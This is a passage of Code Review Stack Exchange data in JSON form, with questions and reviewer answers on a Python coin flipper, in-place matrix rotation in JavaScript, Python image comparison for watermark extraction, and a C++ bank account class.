"body": "<p>It could be modified like this:</p>\n\n<pre><code>import random\n\n\nresult = random.choice([\"heads\", \"tails\"])\nprint(f\"Coin flipped! It's {result}.\")\n</code></pre>\n\n<p>Main changes:</p>\n\n<ol>\n<li><p>Add two lines after <code>import</code>. See <a href=\"https://stackoverflow.com/a/47448739/3811484\">this post</a> for further details about this convention.</p></li>\n<li><p>Use <code>random.choice</code> instead of <code>str(random.randint(0, 1))</code>. This is just a demonstration of another method you could use. I don't think <code>random.choice</code> is necessarily better, it depends on what you're about to do in the next part of your code.</p></li>\n<li><p>Rename the variable from <code>coin</code> to <code>result</code>. A variable name is better if it is more specific. Another option I could think of other than <code>result</code> is <code>side</code>.</p></li>\n<li><p>Use <code>f-strings</code>, which is a handy Python3 syntax.</p></li>\n</ol>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T16:44:06.777",
"Id": "420689",
"Score": "0",
"body": "Welcome to Code Review! Well done on pointing out *how* your suggestions should be improvements."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T16:30:51.913",
"Id": "217447",
"ParentId": "217409",
"Score": "9"
}
},
{
"body": "<h2>Types</h2>\n\n<p>This was too long for a comment to <a href=\"https://codereview.stackexchange.com/users/91165/prince\">prince</a>:</p>\n\n<blockquote>\n <p>Enums are bad in python except for very specific cases, while this may be one of them, I would generally recommend against Enums. Enums are not useful code, they don't make the code clearer. Python doesn't have a <code>switch</code> statement.</p>\n</blockquote>\n\n<p>First learn the built-in types, a flip can be described with a Boolean (<strong>bool</strong>) [note: booleans are a subtype of ints]. If you have more options (like a dice roll), then use whole numbers (<strong>int</strong>). If you randomly choose a winner from a pool of players, use a <strong>set</strong> of strings (<strong>str</strong>).</p>\n\n<p>If you need to map an input to an output, rather than a long <code>if</code> chain, use Dictionaries (<strong>dict</strong>):</p>\n\n<pre><code>result = {\n False: \"It's tails.\",\n True: \"It's head.\"\n}\n\nchoice = bool(random.randint(0, 1)) \n# or bool(random.getrandbits(1))\n# or random.choice({True,False})\n\nprint(result[choice])\n</code></pre>\n\n<p>While it might seem ridiculous to use a dictionary in this case, it will make sense if you take a deck of card for example.</p>\n\n<pre><code>result = {\n 1: \"as\",\n 2: \"two\",\n 3: \"three\",\n 4: \"four\",\n 5: \"five\",\n 6: \"six\",\n 7: \"seven\",\n 8: \"eight\",\n 9: \"nine\",\n 10: \"ten\",\n 11: \"jack\",\n 12: \"queen\",\n 13: \"king\"\n}\n\n# or \n\"\"\"\nresult = {\n 1: \"as\",\n **{i: str(i) for i in range(2,11)}\n 11: \"jack\",\n 12: \"queen\",\n 13: \"king\"\n}\n\"\"\"\ncolors = {\"clubs\", \"diamonds\", \"spades\", \"hearts\"}\nyour_card = bool(random.randint(0, 13))\nai_card = bool(random.randint(0, 13))\n\nprint(f\"Your card is the {result[your_card]} of {random.choice(colors)}\")\nprint(f\"Your card is the {result[ai_card]} of {random.choice(colors)}\")\nprint(f\"The winner is {'you' if your_card > ai_card else 'ai'}\")\n</code></pre>\n\n<p>Of course, in those cases, it isn't obvious to find the string if you have the number, if it is trivial to make a function that can do the conversion, make a function.</p>\n\n<p>My top advice is <strong>Don't make long <code>if</code> chains and avoid enums until you know all built in types</strong></p>\n\n<p>°[note: code not tested]</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T21:44:48.110",
"Id": "217459",
"ParentId": "217409",
"Score": "6"
}
}
] | {
"AcceptedAnswerId": "217459",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T19:12:28.290",
"Id": "217409",
"Score": "5",
"Tags": [
"python",
"beginner",
"random"
],
"Title": "Python coin flipper"
} | 217409 |
<p><strong>The task:</strong></p>
<blockquote>
<p>Given an N by N matrix, rotate it by 90 degrees clockwise.</p>
<p>For example, given the following matrix:</p>
<p>[[1, 2, 3], [4, 5, 6], [7, 8, 9]] you should return:</p>
<p>[[7, 4, 1], [8, 5, 2], [9, 6, 3]] </p>
<p>Follow-up: What if you couldn't use any extra space?</p>
</blockquote>
<pre><code>const mtx = [[1, 2, 3],
[4, 5, 6],
[7, 8, 9]];
</code></pre>
<p><strong>My imperative solution:</strong></p>
<pre><code>function transpose(matrix){
const size = matrix[0].length;
const newMatrix = JSON.parse(JSON.stringify(matrix));
for (let rowIndex = 0; rowIndex < size; rowIndex++) {
const row = matrix[rowIndex];
for (let colIndex = 0; colIndex < size; colIndex++) {
const newRowIndex = colIndex;
const newColIndex = size - 1 - rowIndex;
newMatrix[newRowIndex][newColIndex] = row[colIndex];
}
}
return newMatrix;
};
console.log(transpose(mtx));
</code></pre>
<p><strong>My declarative solution:</strong></p>
<pre><code>const transpose2 = matrix => {
const size = matrix[0].length;
const newMatrix = JSON.parse(JSON.stringify(matrix));
matrix.forEach((row, rowIndex) => {
row.forEach((val, colIndex) => {
const newRowIndex = colIndex;
const newColIndex = size - 1 - rowIndex;
newMatrix[newRowIndex][newColIndex] = val;
});
});
return newMatrix;
};
console.log(transpose2(mtx));
</code></pre>
<p><strong>My solution to the Follow Up question:</strong></p>
<p>Didn't really understand the part with "no extra space". The only solution that came to my mind was to overwrite the existing matrix with the new values and at the end clean it up by deleting the old values. ...but appending new values to old values requires extra space, doesn't it?</p>
<pre><code>const transposeNoSpace = matrix => {
const size = matrix[0].length;
matrix.forEach((row, rowIndex) => {
row.forEach((val, colIndex) => {
const newRowIndex = colIndex;
const newColIndex = size - 1 - rowIndex;
const newVal = val[1] ? val[0] : val;
matrix[newRowIndex][newColIndex] = [matrix[newRowIndex][newColIndex], newVal];
});
});
return matrix.map(row => row.map(col => col[1]));
};
console.log(transposeNoSpace(mtx));
</code></pre>
<p>I'd also be interested in a pure functional solution</p>
| [] | [
{
"body": "<h2>Copying 2D array</h2>\n\n<p>JSON is not for copying data.</p>\n\n<pre><code>const newMatrix = JSON.parse(JSON.stringify(matrix))\n</code></pre>\n\n<p>Should be</p>\n\n<pre><code>const newMatrix = matrix.map(row => [...row]);\n</code></pre>\n\n<h2>Naming</h2>\n\n<p>The naming you use is too verbose and gets in the way of readability.</p>\n\n<ul>\n<li><p>For 2D data it is common to use <code>row</code>, <code>col</code> or <code>x</code>,<code>y</code> to refer to the coordinates of an item.</p>\n\n<p>As <code>x</code> and <code>y</code> are traditionally ordered with <code>x</code> (column) first and <code>y</code> (row) second 2D arrays don't lend them selves to that naming. It is acceptable to abbreviate to <code>r</code>, <code>c</code> or indexing 2D arrays (within the iterators, not outside)</p></li>\n<li><p><code>transpose</code> as a function name is too general. It would be acceptable if transpose included a argument to define how to transpose the array but in this case <code>rotateCW</code> would be more fitting.</p></li>\n<li><p>For 2D data the distance from one row to the same position on the next is called the <a href=\"https://en.wikipedia.org/wiki/Stride_of_an_array\" rel=\"nofollow noreferrer\">stride</a></p></li>\n<li><p>As the input array is square there is no need to get the <code>stride</code> from the inner array. <code>const stride = matrix[0].length;</code> should be <code>const stride = matrix.length;</code></p></li>\n</ul>\n\n<h2>Rewriting your solutions</h2>\n\n<p>Both these solutions are <span class=\"math-container\">\\$O(n)\\$</span> time and space.</p>\n\n<pre><code>function rotateCW(arr) {\n const stride = arr.length;\n const res = arr.map(row => [...row]);\n for (let r = 0; r < stride; r++) {\n const row = arr[r];\n for (let c = 0; c < stride; c++) {\n res[c][stride - 1 - r] = row[c];\n }\n }\n return res;\n}; // << redundant semicolon. Lines end with ; or } not both\n</code></pre>\n\n<p>Be careful when describing a function as declarative. Though the definition is somewhat loose you should make the effort to declare all high level processing as named functions and the imperative code at the lowest level.</p>\n\n<pre><code>const rotateCW = arr => {\n const rotItem = (r, c, item) => res[r][arr.length - 1 - c] = item;\n const processRow = (row, r) => row.forEach((item, c) => rotItem(c, r, item));\n const res = arr.map(row => [...row]);\n arr.forEach(processRow);\n return res;\n}\n</code></pre>\n\n<h2>Functional</h2>\n\n<p>Don't get caught up on declarative, in your past questions you had the focus on functional. You should keep that focus.</p>\n\n<p>In this case the core of the solution is converting a row column reference (or coordinate) into the inverse of the rotation. We rotate CW by replacing the current item by the one 90deg CCW of it. <code>arr[y][x] = arr[stride-1-x][y]</code></p>\n\n<p>The next example is functional and also the smallest code.</p>\n\n<pre><code>const rotateCW = arr => {\n const rotItem = (r, c) => arr[arr.length - 1 - r][c];\n const processRow = (row, r) => row.map((item, c) => rotItem(c, r));\n return arr.map(processRow);\n}\n</code></pre>\n\n<p>or as a one liner</p>\n\n<pre><code>const rotCW = arr => arr.map((row, y) => row.map((v, x) => arr[arr.length - 1 - x][y]));\n</code></pre>\n\n<h2>The <span class=\"math-container\">\\$O(1)\\$</span> space solution.</h2>\n\n<p>The <em>\"no extra space\"</em> simply means that it should be <span class=\"math-container\">\\$O(1)\\$</span> space complexity. This can be done via the traditional swap,</p>\n\n<pre><code> var a = 1, b = 2;\n const temp = a;\n a = b;\n b = temp;\n</code></pre>\n\n<p>Or in ES6+</p>\n\n<pre><code> var a = 1, b = 2;\n [a,b] = [b,a];\n</code></pre>\n\n<p>The swap does not have to be just two items but can be over as many as you want (shifting), the only requirement is that only one spare slot is needed to shift all items.</p>\n\n<pre><code>var a = 1, b = 2, c = 3, d = 4;\nconst temp = a;\na = b;\nb = c;\nc = d;\nd = temp;\n</code></pre>\n\n<p>Or in ES6+</p>\n\n<pre><code>var a = 1, b = 2, c = 3, d = 4;\n[a, b, c, d] = [b, c, d, a];\n</code></pre>\n\n<ul>\n<li><p><strong>Note</strong> The ES6 method for swapping, as a source code complexity reduction, is great... </p>\n\n<p><strong>but</strong> the JS engine does not know you are just swapping (or shifting), it creates an array to hold all the items on the right so that it does not overwrite them when assigning the new values. That means that the ES6+ swap is <span class=\"math-container\">\\$O(n)\\$</span> space complexity.</p></li>\n</ul>\n\n<h2>Example</h2>\n\n<p>I come from a very heavy visual related background and x,y are the most logical way to index 2D+ arrays so will use it in this example.</p>\n\n<pre><code>function rotate2DArray(arr) {\n const stride = arr.length, end = stride - 1, half = stride / 2 | 0;\n var y = 0;\n while (y < half) {\n let x = y;\n while (x < end - y) {\n const temp = arr[y][x];\n arr[y][x] = arr[end - x][y];\n arr[end - x][y] = arr[end - y][end - x];\n arr[end - y][end - x] = arr[x][end - y];\n arr[x][end - y] = temp;\n x ++;\n }\n y++;\n }\n return arr;\n}\n</code></pre>\n\n<p>The above is very unreadable and it pays to put a little order and alignment to the source</p>\n\n<pre><code>function rotate2DArray(arr) {\n const stride = arr.length, end = stride - 1, half = stride / 2 | 0;\n var y = 0;\n while (y < half) {\n let x = y;\n const ey = end - y;\n while (x < ey) {\n const temp = arr[y][x], ex = end - x;\n arr[y ][x ] = arr[ex][y ];\n arr[ex][y ] = arr[ey][ex];\n arr[ey][ex] = arr[x ][ey];\n arr[x ][ey] = temp;\n x ++;\n }\n y++;\n }\n return arr;\n}\n</code></pre>\n\n<p>Thus the array is rotated in place for <span class=\"math-container\">\\$O(1)\\$</span> space.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T15:14:24.830",
"Id": "420671",
"Score": "0",
"body": "Your answers on CR are always gold to me!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-05-19T12:21:25.053",
"Id": "426057",
"Score": "0",
"body": "I would use arr[ y][ x] instead of arr[y ][x ] to align the x and y with the ex, ey counterparts."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T15:10:03.877",
"Id": "217442",
"ParentId": "217410",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": "217442",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T20:04:59.850",
"Id": "217410",
"Score": "1",
"Tags": [
"javascript",
"algorithm",
"programming-challenge",
"functional-programming"
],
"Title": "Rotate a N by N matrix by 90 degrees clockwise"
} | 217410 |
<p>I'm extracting a few frames from a video:</p>
<ul>
<li><p>Comparing the similarity or equality of pixel color (from first two images)</p></li>
<li><p>Saving to a new image</p></li>
<li><p>Comparing the new image (conjunction of first two images) and the next image, etc.</p></li>
</ul>
<p>Can you review my codes for efficiency and best coding practices?</p>
<h3>Code</h3>
<pre><code>import sys
import os
import numpy as np
from PIL import Image, ImageDraw
def main(obr1,obr2):
img1= Image.open("%s" %(obr1))
img2= Image.open("%s" %(obr2))
im1 = img1.convert("RGBA")
im2 = img2.convert("RGBA")
pix1 = im1.load()
pix2 = im2.load()
im = Image.new("RGBA", (im1.width, im1.height), (0, 0, 0, 0))
draw = ImageDraw.Draw(im)
x = 0
y = 0
while y != im1.height-1 or x != im1.width-1:
if pix1[x,y] == pix2[x,y]:
draw.point((x,y),fill=pix1[x,y])
else:
p1 = np.array([(pix1[x,y][0]),(pix1[x,y][1]),(pix1[x,y][2])])
p2 = np.array([(pix2[x,y][0]),(pix1[x,y][1]),(pix1[x,y][2])])
squared_dist = np.sum(p1**2 + p2**2, axis=0)
dist = np.sqrt(squared_dist)
if dist < 200 and pix1[x,y] !=(0,0,0,0) and pix2[x,y] != (0,0,0,0):
color = (round(pix1[x,y][0]+pix2[x,y][0]/2), round(pix1[x,y][1]+pix2[x,y][1]/2), round(pix1[x,y][2]+pix2[x,y][2]/2), round(pix1[x,y][3]+pix2[x,y][3]/2))
#color=pix1[x,y]
draw.point((x,y),fill=color)
else:
draw.point((x,y),fill=(0,0,0,0))
if x == im1.width-1:
x=0
y=y+1
else:
x=x+1
im.save('test%s.png' %(z), 'PNG')
print("Zapisano obraz test%s.png" %(z))
imglist = sys.argv[1:]
z=0
while imglist != []:
exists = os.path.isfile("./test%s.png" % (z-1))
if exists:
obr1="test%s.png" % (z-1)
obr2=imglist.pop()
print("Porównywanie obraza %s i %s" % (obr1,obr2))
main(obr1,obr2)
print("Analiza skończona")
z=z+1
else:
obr1=imglist.pop()
obr2=imglist.pop()
print("Porównywanie obraza %s i %s" % (obr1,obr2))
main(obr1,obr2)
print("Analiza skończona")
z=z+1
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T08:44:17.613",
"Id": "420752",
"Score": "0",
"body": "Are you working with Python 2 or Python 3? (Hint: You can also add this information as tag to your question)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T10:31:44.270",
"Id": "420766",
"Score": "0",
"body": "Are you sure that your code is working as intended? To me it seems like you're using the wrong image while creating `p2`. Probably copy and paste?"
}
] | [
{
"body": "<h2>Best practices</h2>\n\n<p>A collection of general best practices for Python code can be found in the infamous <a href=\"https://www.python.org/dev/peps/pep-0008/\" rel=\"nofollow noreferrer\">Style Guide for Python Code</a> (also called PEP8). While your code looks quite reasonable, there a two major points from the Style Guide I would like to point out to you.<br/>\nFirst, add <a href=\"https://www.python.org/dev/peps/pep-0008/#documentation-strings\" rel=\"nofollow noreferrer\">documentation</a> to your functions (and maybe choose a more descriptive name than <code>main</code>, more on that shortly). Future-you will be very grateful for this.<br/>\nSecond, always use a single whitespace before and after <code>=</code> when assigning to a variable (no whitespace if used as keyword arguments in a function ! Relevant section of PEP8 <a href=\"https://www.python.org/dev/peps/pep-0008/#whitespace-in-expressions-and-statements\" rel=\"nofollow noreferrer\">here</a>). The code is also generally better to read if you add a trailing whitespace after <code>,</code> like so: <code>main(obr1, obr2)</code> instead of <code>main(obr1,obr2)</code>.</p>\n\n<p>Another thing that I would consider a Python best practice, is to wrap code that is to be executed in a \"scripty\" manner in a <code>if __name__ == \"__main__\":</code> clause (also see the <a href=\"https://docs.python.org/3/library/__main__.html\" rel=\"nofollow noreferrer\">official documentation</a> on that topic). That would allow you reuse/import the function currently named <code>main</code> into other functions without running the <code>while</code> loop. Therefore, I would like to suggest the following coarse code-level structure:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code># imports would go here ...\n\n\ndef compare_images(filename1, filename2):\n \"\"\"Compare two images and store the comparison to file\"\"\"\n # function logic would go here\n\n\ndef main():\n \"\"\"Process arguments from command line\"\"\"\n imglist = sys.argv[1:]\n z = 0\n while imglist != []:\n # ...\n\n\nif __name__ == \"__main__\":\n main()\n</code></pre>\n\n<p>I would also recommend to give some of the variables a more descriptive name (what do <code>obr1</code> and <code>obr2</code> stand for?). Also keep in mind that most of the people reading your code (including me) do not speak your mother tongue, so it's always nice to translate console output to English before posting it here.</p>\n\n<h2>Efficiency</h2>\n\n<p><code>.load()</code> should probably not be necessary as per the <a href=\"https://pillow.readthedocs.io/en/3.1.x/reference/Image.html#PIL.Image.Image.load\" rel=\"nofollow noreferrer\">documentation</a> (this assumes your actually using Pillow fork and not the old and crusty PIL).</p>\n\n<p>The most striking point in terms of efficiency is that Python is often <a href=\"https://www.youtube.com/watch?v=zQeYx87mfyw\" rel=\"nofollow noreferrer\">terribly slow at loops</a>. So the easiest way to gain performance is to get rid of them. But how? NumPy to the rescue! NumPy does all those pesky loops in C and is therefore orders of magnitudes faster compared to looping over array data in Python \"by hand\".</p>\n\n<p>So what you would generally do to benefit from this is to get your image data as NumPy array (see <a href=\"https://stackoverflow.com/a/384926\">this</a> SO answer for a hint) and then work on those NumPy arrays with array operations, like masking. I will try to convey what I mean by that in a short example, maybe I can fully adapt it to your example later.</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>im1_np = ... # get data as numpy array, see SO post\nim2_np = ... # get data as numpy array, see SO post\nresult = np.zeros_like(im1_np) # same dtype and shape as input\nmatching_pixels = im1_np == im2_np # boolean mask with true where pixels match exactly\nresult[matching_pixels] = im1_np[matching_pixels] # this is your if clause\n</code></pre>\n\n<p>As you can see, there a no \"manual\" loops involved, everything is done by NumPy in the background.</p>\n\n<p>Now to the <code>else</code> path. First, I think there might be some errors here, feel free to comment if I'm wrong. What (I think) you basically want to do, is to compute the difference between corresponding pixels and set them to a certain color if they are below a given threshold. Mathematically this would be expressed similar to this:</p>\n\n<p><span class=\"math-container\">$$ \\sqrt{(r_1-r_2)^2 + (g_1-g_2)^2 + (b_1-b_2)^2} < 200 $$</span></p>\n\n<p>Your code does the following at the moment:</p>\n\n<p><span class=\"math-container\">$$ \\sqrt{r_1^2 + r_2^2 + g_1^2+g_2^2 + b_1^2+b_2^2} < 200 $$</span></p>\n\n<p>When working from my definition above, the code becomes as follows:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>dist_mask = np.sum(im1_np-im2_np, axis=2) < threshold\n# remove pixels already set in the if clause\ndist_mask = np.logical_and(dist_mask, np.logical_not(matching_pixels))\n# remove all-zero pixels\ndist_mask = np.logical_and(dist_mask, np.sum(im1_np, axis=2) > 0)\ndist_mask = np.logical_and(dist_mask, np.sum(im2_np, axis=2) > 0)\n# set color in result image as mean of both source pixels\nresult[dist_mask] = (im1_np[dist_mask]+im2_np[dist_mask]) / 2.\n</code></pre>\n\n<p>I leave threshold as variable since I'm not sure your original computation works the way you expect it and the threshold as chosen by you is meaningful. (Note: You can simply leave out the <code>sqrt</code> if you square the threshold value).\nApart from that, the code is a relatively strict transformation of your original conditions, it's just that instead of looping over the images pixel by pixel, everything is done in array operations.</p>\n\n<hr>\n\n<p>Under the assumption that you actually want to assign the average pixel value of both source images, this can be optimized further, since the <code>if</code> condition of exact pixel equality is a subset of <code>distance < threshold</code>. This would save you a mask computation (<code>matching_pixels</code> would not be needed anymore) and the negation/and operation with the <code>dist_mask</code>. In case of exact equality, summing both values and dividing them by two should leave you with the original value (Warning: Watch out for quirks with floating point values and/or range-limited integer values).</p>\n\n<hr>\n\n<p>To be fully compatible with your original code you would then have to go back to PIL to store the image to disk. This should also be described in the SO post linked above.</p>\n\n<h2>Other things</h2>\n\n<p>You are sometimes using string formatting in a weird way. If you just want make sure that a variable is a string, pass it to <code>str(...)</code> instead of using string formatting. If you really need string formatting such as where you create the output filename, it is often recommended to use <code>.format(...)</code> (Python 2, Python 3) or f-strings (Python 3) to format string output. There is a nice blog post <a href=\"https://realpython.com/python-f-strings/\" rel=\"nofollow noreferrer\">here</a> that compares all ways of doing string formatting in Python I mentioned.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T09:46:15.160",
"Id": "217479",
"ParentId": "217413",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": "217479",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T21:20:52.490",
"Id": "217413",
"Score": "5",
"Tags": [
"python",
"performance",
"beginner",
"image"
],
"Title": "Extracting watermark from a video using Python"
} | 217413 |
<p>I have been learning C++ and recently I have started practicing classes. I made this simulation of a banking system with an Account class. I would like to hear feedback on my code, what is good - what I should keep doing, and especially what I should pay more attention to, or if you have any suggestion on how to simplify parts of the code, make it more readable because I feel this could be improved. Also, I would like to hear comments on exception handling, since I am quite new to that as well. Thank you all in advance, I will do my best to implement any of your suggestions.</p>
<p>Account.h</p>
<pre><code>#ifndef ACCOUNT.H
#define ACCOUNT.H
#include <string>
#include <vector>
class Account{
std::string name;
int id;
double balance;
public:
Account();
std::string getName() const;
int getId() const;
double getBalance() const;
void setName(std::string);
void setID(int);
void setBalance(double);
void addAccount (Account);
void withdraw(double);
void deposit(double);
static std::vector<Account> accountDatabase;
};
#endif // ACCOUNT
</code></pre>
<p>Account.cpp</p>
<pre><code>#include "Account.h"
#include <iostream>
#include <string>
#include <vector>
Account::Account(){
name = "";
id = 0;
balance = 0;
}
std::vector<Account> Account::accountDatabase;
void Account::addAccount(Account account){
accountDatabase.push_back(account);
}
std::string Account::getName() const{
return name;
}
int Account::getId() const{
return id;
}
double Account::getBalance() const{
return balance;
}
void Account::setName(std::string userName){
name = userName;
}
void Account::setID(int newId){
if (newId < 1)
throw "\n\t\t\t\t ~ ID cannot be zero or negative ~";
for (int i = 0; i < accountDatabase.size(); i++)
if (newId == accountDatabase[i].getId())
throw "\n\t\t\t\t~ Entered ID is already in use ~";
id = newId;
}
void Account::setBalance(double newBalance){
if (newBalance < 0)
throw "\n\t\t\t\t ~ Balance cannot be negative ~";
balance = newBalance;
}
void Account::withdraw(double amount){
if (amount < 0)
throw "\n\t\t\t\t ~ Withdrawal amount cannot be negative ~";
balance -= amount;
}
void Account::deposit(double amount){
if (amount < 0)
throw "\n\t\t\t\t ~ Amount for deposit cannot be negative ~";
balance += amount;
}
</code></pre>
<p>Main</p>
<pre><code>#include <iostream>
#include "Account.h"
#include <string>
void printMenu(){
std::cout << "\n" << R"(
Please select one of the following options:
1. Create an account
2. Check balance
3. Withdraw
4. Deposit
5. Account summary
6. Make a transaction
7. Exit
)" << "\n\t\t\t\t--> ";
}
// get a valid input
template<typename Type>
void getInput(Type &value){
while (true){
std::cin >> value;
if (std::cin.fail()){
std::cin.clear();
std::cin.ignore(100, '\n');
std::cout << "\n\t\t\t\t\t~ Invalid input ~"
<< "\n\t\t\t\t--> Enter again: ";
}
else {
std::cin.ignore();
return;
}
}
}
// find account in account database and return index of that account
int findAccount (int id){
for (int i = 0; i < Account::accountDatabase.size(); i++)
if (id == Account::accountDatabase[i].getId()) return i;
return -1;
}
void createAccount (){
Account newAccount;
std::cout << "\n\t\t\t\t--> Please enter your name: ";
std::string name;
std::cin.ignore();
std::getline(std::cin, name);
newAccount.setName(name);
std::cout << "\n\t\t\t\t--> Please enter your ID: ";
int id;
getInput(id);
newAccount.setID(id);
std::cout << "\n\t\t\t\t--> Please enter your balance: ";
double balance;
getInput(balance);
newAccount.setBalance(balance);
// add account to the database
newAccount.addAccount(newAccount);
std::cout << "\n\t\t\t\t~ Your account has been successfully created ~\n";
}
void MenuSelection(){
int option = 1, account, id;
while (option != 7){
try{
switch (option){
case 1: createAccount();break;
// check balance
case 2:{
std::cout << "\n\t\t\t\t--> Please enter your ID: ";
getInput(id);
account = findAccount(id);
if (account == -1) std::cout << "\n\t\t\t\t~ ID does not match any in the database ~\n";
else std::cout << "\n\t\t\t\t--> Your balance: " << Account::accountDatabase[account].getBalance();
} break;
// withdraw money
case 3:{
std::cout << "\n\t\t\t\t--> Enter amount to withdraw: ";
double withdrawalAmount;
getInput(withdrawalAmount);
std::cout << "\n\t\t\t\t--> Please enter your ID: ";
getInput(id);
account = findAccount(id);
if (account == -1) std::cout << "\n\t\t\t\t~ ID does not match any in the database ~\n";
else {
if (Account::accountDatabase[account].getBalance() >= withdrawalAmount){
Account::accountDatabase[account].withdraw(withdrawalAmount);
std::cout << "\n\t\t\t\t~ Amount successfully withdrawn ~\n";
}
else std::cout << "\n\t\t\t~ Withdrawal not successful - check the state of balance ~\n";
}
} break;
// deposit money
case 4:{
std::cout << "\n\t\t\t\t--> Enter amount to deposit: ";
double depositAmount;
getInput(depositAmount);
std::cout << "\n\t\t\t\t--> Please enter your ID: ";
getInput(id);
account = findAccount(id);
if (account == -1) std::cout << "\n\t\t\t\t~ ID does not match any in the database ~\n";
else {
Account::accountDatabase[account].deposit(depositAmount);
std::cout << "\n\t\t\t\t-->~ Amount successfully deposited ~\n";
}
} break;
// print account summary
case 5:{
std::cout << "\n\t\t\t\t--> Please enter your ID: ";
getInput(id);
account = findAccount(id);
if (account == -1) std::cout << "\n\t\t\t\t~ ID does not match any in the database ~\n";
else std::cout << "\n\n\t\t\t\t~ ACCOUNT SUMMARY ~\n"
<< "\n\t\t\t\t--> Name: " << Account::accountDatabase[account].getName()
<< "\n\t\t\t\t--> ID: " << Account::accountDatabase[account].getId()
<< "\n\t\t\t\t--> Balance: " << Account::accountDatabase[account].getBalance() << "\n";
} break;
// make a transaction
case 6:{
std::cout << "\n\t\t\t\t--> Do you wish to withdraw or deposit? (w/d): ";
char choice;
std::cin >> choice;
std::cout << "\n\t\t\t\t--> Enter transaction amount: ";
double amount;
getInput(amount);
std::cout << "\n\t\t\t\t--> Please enter your ID: ";
getInput(id);
account = findAccount(id);
if (account == -1) std::cout << "\n\t\t\t\t~ ID does not match any in the database ~\n";
else {
std::cout << "\n\t\t\t\t--> Please enter ID of the transaction account: ";
getInput(id);
int secondAccount = findAccount(id);
if (secondAccount == -1) std::cout << "\n\t\t\t\t~ ID does not match any in the database ~\n";
else {
bool transactionPerformed = false;
if (tolower(choice) == 'w' && Account::accountDatabase[secondAccount].getBalance() >= amount){
Account::accountDatabase[secondAccount].withdraw(amount);
Account::accountDatabase[account].deposit(amount);
transactionPerformed = true;
}
else if (tolower(choice) == 'd' && Account::accountDatabase[account].getBalance() >= amount){
Account::accountDatabase[secondAccount].deposit(amount);
Account::accountDatabase[account].withdraw(amount);
transactionPerformed = true;
}
if (!transactionPerformed) std::cout << "\n\t\t\t\t~ Transaction not successful ~\n";
else std::cout << "\n\t\t\t\t~ Transaction successfully completed ~\n";
}
}
}
}
}
catch (const char* msg){
std::cerr << msg;
}
printMenu();
getInput(option);
while (option < 1 || option > 7){
std::cout << "\n\t\t\t\t--> Please enter a valid option (1-7): ";
getInput(option);
}
}
std::cout << R"(
########################################################################################################################
~ THANK YOU FOR USING OUR SERVICES ~
########################################################################################################################
)";
}
int main(){
std::cout << R"(
########################################################################################################################
~ W E L C O M E T O O U R B A N K ~
########################################################################################################################
)";
MenuSelection();
return 0;
}
</code></pre>
| [] | [
{
"body": "<p>I have a few suggestions:</p>\n\n<ul>\n<li><code>\\n\\t\\t\\t\\t</code> is everywhere, move it into a function which takes and returns a string, and prepends whatever string it is given with this format - the benefit of this is that if you change your formatting in the future, you only need to do it in one place.</li>\n<li>Getting the user to enter their ID is a common operation, so put this logic all in one place. i.e. \n\n<pre><code>std::cout << \"\\n\\t\\t\\t\\t--> Please enter your ID: \";\ngetInput(id);\naccount = findAccount(id);\n</code></pre>\n\nShould be lopped out into its own function, again for the same reason - if the way you want to do it changes, you only need to do it in one place!</li>\n<li>Move the code within each case block into its own function, e.g for <code>case 2</code>, just make a function called <code>checkBalance</code> which does exactly that. Call it from the case block (similar to how you have done for <code>case 1</code>). The comments already hint at what each block does, but the whole of the switch/case statement is quite a lot of code!</li>\n<li>The way you look up accounts is a little confusing and potentially inefficient for large numbers of accounts, I would use a map (<a href=\"http://www.cplusplus.com/reference/map/map/\" rel=\"noreferrer\">http://www.cplusplus.com/reference/map/map/</a>) with the key being the ID.</li>\n</ul>\n\n<p>I hope this is enough to get you on your way, if you give this another stab then I'm happy to take another look!</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T22:36:29.117",
"Id": "217418",
"ParentId": "217415",
"Score": "6"
}
},
{
"body": "<ul>\n<li><p>The class is doing too much: it is not the task of the <code>Account</code> class to <em>also</em> keep a database of all accounts. Remember: <em>one class (or function), one responsibility</em>. By the same principle, <code>menuSelection</code> does too much in your main program.</p></li>\n<li><p>Use the initializer list in your constructor, i.e., do <code>Account::Account() : name_(), id_(0), balance(0) {}</code>. But even better, you should always <a href=\"http://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#Rc-zero\" rel=\"nofollow noreferrer\">try to avoid defining default operations</a>, as per C.20 of the C++ Core Guidelines.</p></li>\n<li><p>Pass complex (i.e., not built-in types) by const-ref. This includes strings and Account types. For example, rather do <code>void Account::setName(const std::string& userName) { ... }</code>. Another possibility - if your compiler is recent enough - is to use <a href=\"https://en.cppreference.com/w/cpp/string/basic_string_view\" rel=\"nofollow noreferrer\">std::string_view</a>.</p></li>\n<li><p>Avoid throwing character strings and throw proper objects instead, see <a href=\"http://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#e14-use-purpose-designed-user-defined-types-as-exceptions-not-built-in-types\" rel=\"nofollow noreferrer\">E.14</a>.</p></li>\n<li><p>You seem to have an invariant which says that the balance can never be negative. I would enforce this more consistently by writing 